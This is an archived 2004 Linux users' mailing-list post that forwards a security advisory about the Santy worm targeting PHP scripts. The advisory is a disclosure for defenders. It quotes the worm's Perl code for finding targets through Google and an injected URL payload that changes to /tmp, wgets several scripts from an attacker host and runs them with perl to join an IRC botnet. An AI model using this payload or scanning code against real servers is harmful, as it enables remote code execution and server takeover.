From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Date: Sun, 26 Dec 2004 13:08:36 +0200 From: Michael Shigorin To: community@altlinux.ru Message-ID: <20041226110836.GU7060@osdn.org.ua> Mail-Followup-To: community@altlinux.ru Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0/kgSOzhNoDC5T3a" Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: [Comm] Fwd: New Santy-Worm attacks *all* PHP-skripts X-BeenThere: community@altlinux.ru X-Mailman-Version: 2.1.5 Precedence: list Reply-To: community@altlinux.ru List-Id: Mailing list for ALT Linux users List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 26 Dec 2004 11:08:38 -0000 Archived-At: List-Archive: List-Post: --0/kgSOzhNoDC5T3a Content-Type: text/plain; charset=koi8-r Content-Disposition: inline Content-Transfer-Encoding: quoted-printable FYI PS: php-4.3.10 =C9=DA backports =CE=C9 =CB =D5=CF=C7=CF =D0=D2=CF=C2=CC=C5= =CD =CE=C5 =D7=D9=DA=D7=C1=CC=C9? ----- Forwarded message from Juergen Schmidt ----- Date: Sat, 25 Dec 2004 18:12:21 +0100 (CET) From: Juergen Schmidt To: full-disclosure lists.netsys.com, bugtraq securityfocus.com Subject: New Santy-Worm attacks *all* PHP-skripts Hello, the new santy version not only attacks phpBB. It uses the brasilian Google site to find all kinds of PHP skripts. It parses their URLs and overwrites variables with strings like: 'http://www.visualcoders.net/spy.gif?&cmd=3Dcd /tmp;wget www.visualcoders.net/spybot.txt;... Often enough this leads to download and execution of code. On success the worm connects to an IRC server, where already more than 700 zombies are waiting for commands. The relevant code: --------- $procura =3D 'inurl:*.php?*=3D' . $numr; for($n=3D0;$n<900;$n +=3D 10){ $sock =3D IO::Socket::INET->new(PeerAddr =3D> "www.google.com.br", PeerPort= =3D> 80, Proto =3D> "tcp") or next; print $sock "GET /search?q=3D$procura&start=3D$n HTTP/1.0\n\n"; =2E.. $lista1 =3D 'http://www.visualcoders.net/spy.gif?&cmd=3Dcd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcod ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt'; $t =3D0; $y =3D0; @ja; open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt"; while () { $ja[$t] =3D $_; chomp $ja[$t]; $t++; $y++; } close(opa); $t=3D1; while ($t < $y) { if ($ja[$t] =3D~/=3D/) { $num =3D rindex $ja[$t], '=3D'; $num +=3D 1; $ja[$t] =3D substr($ja[$t],0,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); $num =3D index $ja[$t], '=3D'; $num +=3D 1; $ja[$t] =3D substr($ja[$t],0,$num); $num1 =3D rindex $ja[$t], '.'; $subproc =3D substr($ja[$t],$num1,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); } $t++; } bye, ju --=20 Juergen Schmidt Chefredakteur heise Security www.heisec.de Heise Zeitschriften Verlag, Helstorferstr. 7, D-30625 Hannover Tel. +49 511 5352 300 FAX +49 511 5352 417 EMail ju heisec.de GPG-Key: 0x38EA4970, 5D7B 476D 84D5 94FF E7C5 67BE F895 0A18 38EA 4970 ----- End forwarded message ----- --=20 ---- WBR, Michael Shigorin ------ Linux.Kiev http://www.linux.kiev.ua/ --0/kgSOzhNoDC5T3a Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFBzpu0bsPDprYMm3IRAi/LAKDa0T3SfAaAx1njo4qlP/AbqOIm5QCeKfrx 0sZZM8igRc0AMPbGF3p19ks= =u9iG -----END PGP SIGNATURE----- --0/kgSOzhNoDC5T3a--